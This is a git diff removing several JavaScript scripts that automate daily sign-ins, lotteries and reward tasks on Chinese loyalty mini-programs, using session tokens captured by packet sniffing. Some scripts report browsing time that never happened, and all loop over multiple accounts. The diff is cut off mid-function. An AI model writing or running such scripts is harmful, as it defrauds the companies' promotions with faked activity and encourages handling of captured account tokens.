- this.user = env.split(strSplitor);
- this.token = this.user[0];
- this.activity_code = "";
- this.userFlag = false;
- this.headers = {};
- this.uuid = this.user[1]
- this.headers = {
- "Connection": "keep-alive",
- "envVersion": "release",
- "content-type": "application/json",
- "Authorization": "" + this.token,
- "uuid": "" + this.uuid,
- "Accept-Encoding": "gzip,compress,br,deflate",
- "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.70(0x1800462d) NetType/WIFI Language/zh_CN",
- "Referer": "https://servicewechat.com/wx7a890ea13f50d7b6/765/page-frame.html"
- }
- }
-
- async run() {
-
- await this.getUserInfo()
-
- if (this.userFlag) {
- await this.task_1()
-
- await this.task_2()
- await this.getSignActivity()
-
- if (this.activity_code) {
- await this.signIn()
- await this.getLotteryTaskList()
- await this.getLotteryNum()
- }
- }
- }
- async getUserInfo() {
- let options = {
- method: 'GET',
- url: `https://cmallapi.xkmm.cn/buyer-api/members`,
- headers: this.headers
- }
- let { data: result } = await axios.request(options);
- if (result?.member_id) {
- $.log(`🌸账号[${this.index}] [${result.member_id}][${result.mobile}] 当前积分[${result.consum_point}]` + `🎉`);
- this.userFlag = true;
- } else {
- $.log(`🌸账号[${this.index}] 查询-失败:${JSON.stringify(result)}❌`)
- }
- }
- async getSignActivity() {
- let options = {
- method: 'GET',
- url: `https://cmallapi.xkmm.cn/buyer-api/sign/activity/code?activityCode=`,
- headers: this.headers
- }
- let { data: result } = await axios.request(options);
- if (result?.activity_code) {
- $.log(`获取活动信息成功,活动ID:${result.activity_code}`)
- this.activity_code = result.activity_code
- }
- else {
- $.log(`获取活动信息失败:${JSON.stringify(result)}❌`)
- }
- }
- async signIn() {
- try {
- let options = {
- url: `https://cmallapi.xkmm.cn/buyer-api/sign/activity/sign`,
- method: "POST",
- headers: this.headers,
- data: JSON.stringify({ "activity_code": this.activity_code, "fill_date": "" })
- }
- let { data: result } = await axios.request(options)
- if (result.is_sign == true) {
- $.log(`签到成功`)
- } else {
- $.log(`签到失败 [${result.message}]`)
- }
- } catch (e) {
- $.log(`签到失败 [${JSON.stringify(e.message)}]`)
- }
-
-
- }
- //浏览页面
- async task_1() {
- let options = {
- url: `https://cmallapi.xkmm.cn/buyer-api/members/browsePage`,
- method: "POST",
- headers: this.headers,
- data: JSON.stringify({})
- }
- let { data: result } = await axios.request(options)
- if (result?.code == 200) {
- $.log(`浏览界面 操作成功`)
- } else {
- $.log(`浏览界面 操作失败[${JSON.stringify(result)}]`)
- }
-
- }
- //浏览社区
- async task_2() {
- let options = {
- url: `https://cmallapi.xkmm.cn/buyer-api/members/commnity/brosing/duration/add?seconds=10`,
- method: "POST",
- headers: this.headers,
- data: JSON.stringify({})
- }
- let { data: result } = await axios.request(options)
- if (result?.statusCode == 200) {
- $.log(`浏览社区 操作成功`)
- } else {
- $.log(`浏览社区 操作失败 貌似是正常的 [${result}]`)
- }
- }
- async doLottery() {
- let options = {
- method: 'GET',
- url: `https://cmallapi.xkmm.cn/buyer-api/lucky/activity/extract?activityCode=jfcj${this.activity_code}`,
- headers: this.headers
- }
- let { data: result } = await axios.request(options);
- if (result?.lucky_record_vo) {
- $.log(`🌸账号[${this.index}]` + `🕊抽奖结果:${result.lucky_record_vo.prize_name}🎉`);
- } else {
- $.log(`🌸账号[${this.index}] 抽奖-失败:${JSON.stringify(result)}❌`)
- }
- }
- async getLotteryTaskList() {
- let options = {
- method: 'GET',
- url: `https://cmallapi.xkmm.cn/buyer-api/lucky/task/package/jfcj${this.activity_code}`,
- headers: this.headers
- }
- let { data: result } = await axios.request(options);
- if (result?.member_id) {
- $.log(`🌸账号[${this.index}]` + `🕊抽奖次数任务🎉`);
- for (let task of result.task_list) {
- if (task.today_available_task_number >= 1 && task.today_obtained_task_number < task.today_available_task_number) {
-
- if (task.task_key == "LOGIN") {
- $.log(`🌸账号[${this.index}]` + `🕊正在完成任务:${task.task_name}🎉`);
-
- let options = {
- url: `https://cmallapi.xkmm.cn/buyer-api/lucky/task/getLoginOpporturnity/jfcj${this.activity_code}`,
- method: "PUT",
- headers: this.headers,
- data: JSON.stringify({})
- }
- let { data: result } = await axios.request(options)
- $.log(result)
- }
- if (task.task_key == "SHARE") {
-
- }
- if (task.task_key == "BROWSE_PAGE_TASK") {
- $.log(`🌸账号[${this.index}]` + `🕊正在完成任务:${task.task_name}🎉`);
-
- await this.lotteryTaskBrowser(task.link)
-
- }
- }
- }
- } else {
- $.log(`🌸账号[${this.index}] 抽奖次数任务-失败:${JSON.stringify(result)}❌`)
- }
- }
- async lotteryTaskBrowser(link) {
- let optionsStart = {
- url: `https://cmallapi.xkmm.cn/buyer-api/lucky/task/browse/page/start/jfcj${this.activity_code}?pageUrl=${link}`,
- method: "GET",
- headers: this.headers
- }
- await axios.request(optionsStart)
- await $.wait(20 * 1000)
- let optionsEnd = {
- url: `https://cmallapi.xkmm.cn/buyer-api/lucky/task/browse/page/end/jfcj${this.activity_code}?pageUrl=${link}`,
- method: "GET",
- headers: this.headers
- }
- await axios.request(optionsEnd)
- }
- async getLotteryNum() {
- let options = {
- url: `https://cmallapi.xkmm.cn/buyer-api/lucky/activity/opporturnity?activityCode=jfcj${this.activity_code}`,
- method: "GET",
- headers: this.headers
- }
- let { data: result } = await axios.request(options)
- if (result.can_use > 0) {
- $.log(`当前剩余抽奖次数:${result.can_use}`)
- for (let can = 0; can < result.can_use; can++) {
- await this.doLottery()
- }
- } else {
- $.log(`当前剩余抽奖次数0`)
- }
-
- }
-
-
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
\ No newline at end of file
diff --git a/daily/hdl.js b/daily/hdl.js
deleted file mode 100644
index 427bf341..00000000
--- a/daily/hdl.js
+++ /dev/null
@@ -1,188 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 海底捞
-cron: 30 8 * * *
-------------------------------------------
-#Notice:
-如果微信小程序抓包的写变量值前面加上wx#
-例如wx#OPENID_#uid
-https://superapp-public.kiwa-tech.com/api/gateway/login/center/login/wechatLogin 接口的请求参数openId#uid
-如果是APP抓包的写变量值前面加上app#
-抓包https://superapp-public.kiwa-tech.com/api/gateway/login/center/login/wechatLogin 接口的请求参数token
-例如app#TOKEN_APP_
-
-
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("海底捞");
-let ckName = `hdl`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.tokenType = this.user[0];
- this.openId = null
- this.uid = null
- this.token = null
- this.valid = false;
- this.name = ''
- this.signinSource = ''
- this.platformname = ''
- }
-
- async run() {
- if (this.tokenType == 'wx') {
- this.platformname = 'wechat'
- this.openId = this.user[1];
- this.uid = this.user[2];
- this.signinSource = 'MiniApp'
- await this.wxLogin()
- if (!this.valid) return;
-
- }
- if (this.tokenType == 'app') {
- this.token = this.user[1];
- this.signinSource = 'APP'
- this.platformname = 'app'
- }
- await this.info()
- await this.signIn()
- }
- async wxLogin() {
- try {
- let options = {
- url: "https://superapp-public.kiwa-tech.com/api/gateway/login/center/login/wechatLogin",
- headers: {
- "_haidilao_app_token": "",
- "accept": "*/*",
- "accept-language": "zh-CN,zh;q=0.9",
- "appid": "15",
- "appname": "HDLMember",
- "appversion": "3.240.0",
- "content-type": "application/json",
- "platformname": this.platformname,
- "sec-fetch-dest": "empty",
- "sec-fetch-mode": "cors",
- "sec-fetch-site": "cross-site",
- "smdeviceid": "",
- "xweb_xhr": "1"
- },
- method: 'POST',
- data: {
- "type": 1,
- "country": "CN",
- "codeType": 1,
- "business": "登录",
- "terminal": "会员小程序",
- "openId": "" + this.openId,
- "uid": "" + this.uid
- }
- }
- let { data: result } = await axios.request(options);
- if (result.code == 100000) {
- this.token = result.data.token
- this.name = result.data.nickName
- $.log(`账号[${this.index}]【${this.name}】 登录成功`);
- this.valid = true;
- } else {
- $.log(result);
- }
-
-
- } catch (e) {
-
- } finally { }
- }
- async signIn() {
- let options = {
- url: 'https://superapp-public.kiwa-tech.com/activity/wxapp/signin/signin',
- headers: {
- "platformname": this.platformname,
- '_haidilao_app_token': this.token,
-
- },
- method: 'POST',
- data: { "signinSource": this.signinSource }
- }
- let { data: result } = await axios.request(options);
- if (result['success']) {
- $.log(`账号[${this.index}]【${this.name}】 签到成功`);
- } else {
- $.log(result);
- }
-
-
-
-
- }
- async info() {
- let options = {
- url: 'https://superapp-public.kiwa-tech.com/activity/wxapp/signin/queryFragment',
- headers: {
- "platformname": this.platformname,
- '_haidilao_app_token': this.token,
- },
- method: 'POST',
- data: {}
- }
- let { data: result } = await axios.request(options);
- if (result['success']) {
- $.log(`账号[${this.index}] 剩余[${result.data.total}]本期碎片将于${result['data']['expireDate']}过期 `)
- } else {
- $.log(result);
- }
- }
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
\ No newline at end of file
diff --git a/daily/hezj.js b/daily/hezj.js
deleted file mode 100644
index a091ddc2..00000000
--- a/daily/hezj.js
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 海尔智家
-cron: 30 7 * * *
-------------------------------------------
-#Notice:
-变量名hezj
-抓取https://zjrs.haier.net请求头accounttoken 多账户&或换行
-
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("海尔智家");
-let ckName = `hezj`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
-
- }
- request(options) {
- let baseHeaers = {
- "host": "zj.haier.net",
- "content-type": "application/json",
- "accounttoken": this.token,
- "appid": "MB-UZHSH-0001",
- "accept": "*/*",
- "sec-fetch-site": "same-site",
- "appversion": "10.18.0",
- //"clientid": "5D6FD623-11A7-4B62-88AD-D3D62D07B72F",
- "accept-language": "zh-CN,zh-Hans;q=0.9",
- "accept-encoding": "gzip, deflate, br",
- "sec-fetch-mode": "cors",
- "origin": "https://zjrs.haier.net",
- "user-agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Hainer/Haier Simulation/Nebula App/Uplus Nebula mPaaSClient",
- "referer": "https://zjrs.haier.net/",
- "sec-fetch-dest": "empty"
- }
- options.headers = Object.assign(baseHeaers, options.headers)
- return axios.request(options)
- }
-
- async run() {
-
- await this.pointInfo()
- await this.signIn()
- }
- async pointInfo() {
- let options = {
- method: 'POST',
- url: `https://zj.haier.net/zjapi/zjBaseServer/signDetail/getUserPointsAndWallet`,
- headers: {},
- data: {
-
- }
- };
- let { data: result } = await this.request(options);
-
- if (result.retCode == '00000') {
- $.log(`海贝:${result.data.haiBeiTotal}`)
- $.log(`红包:${result.data.wallet}`)
- } else {
- $.log(`查询余额失败: ${result.retInfo}`)
- }
- }
-
- async signIn() {
- let options = {
- method: 'POST',
- url: `https://zj.haier.net/api-gw/zjBaseServer/daily/sign`,
- headers: {},
- data: {
-
- }
- };
- let { data: result } = await this.request(options);
- if (result?.retCode == '00000') {
- //打印签到结果
- $.log(`🌸账号[${this.index}]` + `🕊当前已签到${result.data.totalSignDay}天🎉`);
- } else {
- $.log(`🌸账号[${this.index}] 签到-失败:${result.retInfo}❌`)
- }
-
-
-
-
- }
-
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
diff --git a/daily/hlyl.js b/daily/hlyl.js
deleted file mode 100644
index b9ae413d..00000000
--- a/daily/hlyl.js
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 活力伊利小程序签到
-cron: 30 8 * * *
-------------------------------------------
-#Notice:
-变量名 hlyl
-抓取 https://msmarket.msx.digitalyili.com/请求头access-token 多账户&或换行
-
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("活力伊利小程序");
-let ckName = `hlyl`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
-
- }
-
- async run() {
-
- await this.signIn()
- }
-
- async signIn() {
- let options = {
- method: 'POST',
- url: `https://msmarket.msx.digitalyili.com/gateway/api/member/daily/sign`,
- headers: {
-
- "accept": "*/*",
- "accept-language": "zh-CN,zh;q=0.9",
- "access-token": "" + this.token,
- "atv-page": "",
- "content-type": "application/json",
- "forward-appid": "",
- "priority": "u=1, i",
- "register-source": "",
- "scene": "1145",
- "sec-fetch-dest": "empty",
- "sec-fetch-mode": "cors",
- "sec-fetch-site": "cross-site",
- "source-type": "",
- "tenant-id": "",
- "xweb_xhr": "1"
-
-
- , data: {
-
- }
- }
- }
- let { data: result } = await axios.request(options);
- if (result?.status == true) {
- //打印签到结果
- $.log(`🌸账号[${this.index}]` + `🕊签到获得${result.data.dailySign.bonusPoint}分🎉`);
- } else {
- $.log(`🌸账号[${this.index}] 签到-失败:${result.error}❌`)
- }
-
-
-
-
- }
-
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout: 3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) { }
-
-}
diff --git a/daily/hyjk.js b/daily/hyjk.js
deleted file mode 100644
index 47e7719b..00000000
--- a/daily/hyjk.js
+++ /dev/null
@@ -1,669 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 荷叶健康小程序
-cron: 30 10 * * *
-------------------------------------------
-#Notice:
-微信荷叶健康小程序 免费水果+打卡签到抽奖
-抓tuan.api.ybm100.com/miniapp中请求头的token 多账户&或换行
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-global['window'] = {}
-global['navigator'] = {}
-const { JSEncrypt } = require("encryptlong")
-const JsRsaSign = require("jsrsasign")
-const { Env } = require("../tools/env")
-const $ = new Env("荷叶健康小程序");
-let ckName = `hyjk`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
- this.channelCode = this.user[1] || process.env.HYJK_CHANNEL_CODE || "130";
- this.userFlag = false
- this.userId = ''
- this.headers = {
- "host": "tuan.api.ybm100.com",
- "userid": "" + this.userId,
- "referer": "https://www.heyejk.com/",
- "apptype": "1",
- "user-agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.70(0x18004630) NetType/WIFI Language/zh_CN miniProgram/wx776afedbfae3a228",
- "appversion": "3.1.7",
- "origin": "https://www.heyejk.com",
- "sec-fetch-dest": "empty",
- "sec-fetch-site": "cross-site",
- "terminal": "h5",
- "usertype": "groupuser",
- "appname": "ykq-xcx",
- "token": "" + this.token,
- "accept-language": "zh-CN,zh-Hans;q=0.9",
- "accept": "application/json, text/plain, */*",
- "content-type": "application/json;charset=UTF-8",
- "accept-encoding": "gzip, deflate, br",
- "sec-fetch-mode": "cors"
- }
- }
-
- async run() {
- await this.getFruitInfo()
- await this.autoByUserOperation()
- await this.getSignInfo()
- }
-
- async getSignInfo() {
- let options = {
- method: 'POST',
- url: `https://tuan.api.ybm100.com/miniapp/marketing/signActivity/signRecord`,
- headers: this.headers,
- data: { "actId": "9093", "channelCode": this.channelCode, "adornId": "217" }
- };
- let { data: result } = await axios.request(options);
- if (result.code == 0) {
- const isSigned = result?.result?.todaySignStatusDesc === "已签到";
- $.log(`[账号${this.index}] 今日签到: ${isSigned ? "已签到" : "未签到"}`)
- if (!isSigned) {
- await this.doSign()
- }
- } else {
- $.log(`[账号${this.index}] 获取签到状态失败[${result.msg}]`);
- }
- }
-
- async doSign() {
- let options = {
- method: 'POST',
- url: `https://tuan.api.ybm100.com/miniapp/marketing/signActivity/sign`,
- headers: this.headers,
- data: { "actId": "9093", "channelCode": this.channelCode, "adornId": "217" }
- };
- let { data: result } = await axios.request(options);
- if (result?.code == '0') {
- $.log(`[账号${this.index}] 签到成功[${result.msg}]`);
- } else {
- $.log(`[账号${this.index}] 签到失败:${result.msg}`)
- }
- }
-
- async getFruitInfo() {
- let options = {
- method: 'GET',
- url: `https://tuan.api.ybm100.com/api/healthSquare/fruitManor/getMyManorInfo?channelCode=${this.channelCode}`,
- headers: this.headers,
- };
- let { data: result } = await axios.request(options);
- if (result.code == 0) {
- $.log(`[账号${this.index}] [${result.result.kettleWater}]-[${result.result.progressBarTips}]`)
- this.treeId = Number(result.result.treeId)
- this.userId = result.result.userId
- this.headers.userid = String(this.userId || "")
- this.todayFullWaterTaskId = Number(result?.result?.todayFullWaterTaskId || 0)
- for (let i = 0; i < Math.floor(Number(result.result.kettleWater) / 10); i++) {
- await $.wait(3000)
- await this.doWater()
- }
- } else {
- $.log(`[账号${this.index}] 查询失败[${result.msg}]`);
- }
- }
- async doWater() {
- try {
- let data = { "channelCode": this.channelCode, "treeId": this.treeId, "nonce": $.randomString(6) }
- let options = {
- method: 'POST',
- url: `https://tuan.api.ybm100.com/api/healthSquare/water/watering?secret=${encodeURIComponent(this.encrypt(data))}`,
- headers: this.headers,
- data: data
- }
- let { data: result } = await axios.request(options);
- if (result?.code == 0) {
- $.log(`账号${this.index}] 浇水[${result.result.progressBarTips}]`)
- } else {
- $.log(`账号${this.index}] 胶水[${result.msg}]`);
- }
- } catch (e) {
-
- }
-
-
-
- }
-
- request(options) {
- const finalOptions = {
- timeout: Number(process.env.HYJK_HTTP_TIMEOUT || 15000),
- ...options,
- headers: {
- ...this.headers,
- ...(options.headers || {})
- }
- };
- return axios.request(finalOptions);
- }
-
- async userOperation(operateType, operateValueObj) {
- const data = {
- operateType,
- operateValue: JSON.stringify(operateValueObj),
- channelCode: this.channelCode
- };
- const { data: result } = await this.request({
- method: "POST",
- url: "https://tuan.api.ybm100.com/api/healthSquare/user/userOperation",
- data
- });
- return result;
- }
-
- async getTaskListNew() {
- const { data: result } = await this.request({
- method: "GET",
- url: `https://tuan.api.ybm100.com/api/healthSquare/task/getTaskListNew?channelCode=${this.channelCode}&venueId=5`
- });
-
- return result;
- }
-
- async getPopupList() {
- const { data: result } = await this.request({
- method: "GET",
- url: `https://tuan.api.ybm100.com/api/healthSquare/fruitManor/getPopup`,
- params: {
- channelCode: this.channelCode,
- entranceType: 0
- }
- });
- return result;
- }
-
- async getVenueInfo() {
- const { data: result } = await this.request({
- method: "GET",
- url: `https://tuan.api.ybm100.com/api/healthSquare/fruitManor/getVenueInfo`,
- params: { channelCode: this.channelCode }
- });
- return result;
- }
-
- async getBlindBoxInfo(taskId) {
- const { data: result } = await this.request({
- method: "GET",
- url: `https://tuan.api.ybm100.com/api/healthSquare/task/getBlindBoxInfo`,
- params: {
- channelCode: this.channelCode,
- taskId
- }
- });
- return result;
- }
-
- async collectWater(payload) {
- const data = {
- channelCode: this.channelCode,
- nonce: $.randomString(6),
- ...payload
- };
- const secret = encodeURIComponent(this.encrypt(data));
- const { data: result } = await this.request({
- method: "POST",
- url: `https://tuan.api.ybm100.com/api/healthSquare/water/collectWater?secret=${secret}`,
- data
- });
- return result;
- }
-
- async goFruitOrGarden(taskId) {
- const { data: result } = await this.request({
- method: "POST",
- url: `https://tuan.api.ybm100.com/healthSquare/herbalGarden/goFruitOrGarden`,
- data: {
- channelCode: this.channelCode,
- taskId: Number(taskId)
- }
- });
- return result;
- }
-
- flattenTaskList(taskResult) {
- if (!taskResult || taskResult.code !== 0) return [];
- const root = taskResult.result;
- if (Array.isArray(root)) return root;
- if (Array.isArray(root?.list)) {
- if (root.list.some(item => item && Object.prototype.hasOwnProperty.call(item, "taskId"))) {
- return root.list;
- }
- return root.list.flatMap(group => Array.isArray(group?.taskList) ? group.taskList : []);
- }
- return [];
- }
-
- async autoByUserOperation() {
- await this.autoTodayFullWaterTask();
- await this.autoPopups();
- await this.autoVenueClicks();
- await this.autoTasks();
- }
-
-
- async autoTodayFullWaterTask() {
- try {
- if (!this.todayFullWaterTaskId) return;
- const opRes = await this.userOperation(6, { taskId: this.todayFullWaterTaskId, status: 1 });
- $.log(`[账号${this.index}] fullWater(taskId=${this.todayFullWaterTaskId}) 上报: ${opRes?.msg || opRes?.code}`);
- await $.wait(500);
- } catch (e) {
- $.log(`[账号${this.index}] fullWater自动化异常: ${e.message}`);
- }
- }
- async autoPopups() {
- try {
- const popupRes = await this.getPopupList();
- const list = Array.isArray(popupRes?.result?.list) ? popupRes.result.list : [];
- for (const popup of list) {
- const payload = {
- popupType: Number(popup?.popupType || 0),
- waterNum: Number(popup?.waterNum || 0)
- };
- const opRes = await this.userOperation(7, payload);
- $.log(`[账号${this.index}] popupType=${payload.popupType} 上报: ${opRes?.msg || opRes?.code}`);
- await $.wait(500);
- }
- } catch (e) {
- $.log(`[账号${this.index}] popup自动化异常: ${e.message}`);
- }
- }
-
- async autoVenueClicks() {
- try {
- const venueRes = await this.getVenueInfo();
- const list = Array.isArray(venueRes?.result?.list) ? venueRes.result.list : [];
- for (const venue of list) {
- if (Number(venue?.clickStatus) === 0 && venue?.id) {
- const opRes = await this.userOperation(10, { venueId: Number(venue.id) });
- $.log(`[账号${this.index}] venueId=${venue.id} 上报: ${opRes?.msg || opRes?.code}`);
- await $.wait(500);
- }
- }
- } catch (e) {
- $.log(`[账号${this.index}] venue自动化异常: ${e.message}`);
- }
- }
-
- normalizeTaskNumber(value, fallback = 0) {
- const n = Number(value);
- return Number.isFinite(n) ? n : fallback;
- }
-
- resolveTaskEventType(item) {
- const taskType = this.normalizeTaskNumber(item?.taskType);
- const browseType = this.normalizeTaskNumber(item?.browseType);
- const waterEventType = this.normalizeTaskNumber(item?.waterEventType);
- if (taskType === 50) {
- if (browseType === 1) return 11;
- if (browseType === 2) return 12;
- if (browseType === 3) return 13;
- return 11;
- }
- if (taskType === 60 || taskType === 61) return 7;
- if (taskType === 70) return 5;
- if (taskType === 80) return 3;
- if (taskType === 90) return 4;
- if (taskType === 110 || taskType === 120) return waterEventType || 0;
- return waterEventType || this.normalizeTaskNumber(item?.eventType);
- }
-
- resolveTaskWaterNum(item) {
- const raw = [
- item?.reward,
- item?.waterNum,
- item?.waterConf,
- item?.taskRewardNum
- ];
- for (const value of raw) {
- const n = Number(value);
- if (Number.isFinite(n) && n > 0) return n;
- }
- return undefined;
- }
-
- async claimTaskWater(item, tag = "claim") {
- const taskId = this.normalizeTaskNumber(item?.taskId);
- const eventType = this.resolveTaskEventType(item);
- if (!eventType) {
- $.log(`[账号${this.index}] ${tag} taskId=${taskId} 跳过: 缺少eventType(taskType=${this.normalizeTaskNumber(item?.taskType)})`);
- return;
- }
- const payload = {
- extTask: 0,
- eventType
- };
- if (taskId) payload.taskId = taskId;
- const waterNum = this.resolveTaskWaterNum(item);
- if (waterNum) payload.waterNum = waterNum;
- const res = await this.collectWater(payload);
- $.log(`[账号${this.index}] ${tag} collectWater(taskId=${taskId},eventType=${eventType},waterNum=${waterNum || 0}): ${res?.msg || res?.code}`);
- }
-
- logTaskItem(item, prefix = "task") {
- const taskId = this.normalizeTaskNumber(item?.taskId);
- const taskType = this.normalizeTaskNumber(item?.taskType);
- const taskStatus = this.normalizeTaskNumber(item?.taskStatus);
- const browseType = this.normalizeTaskNumber(item?.browseType);
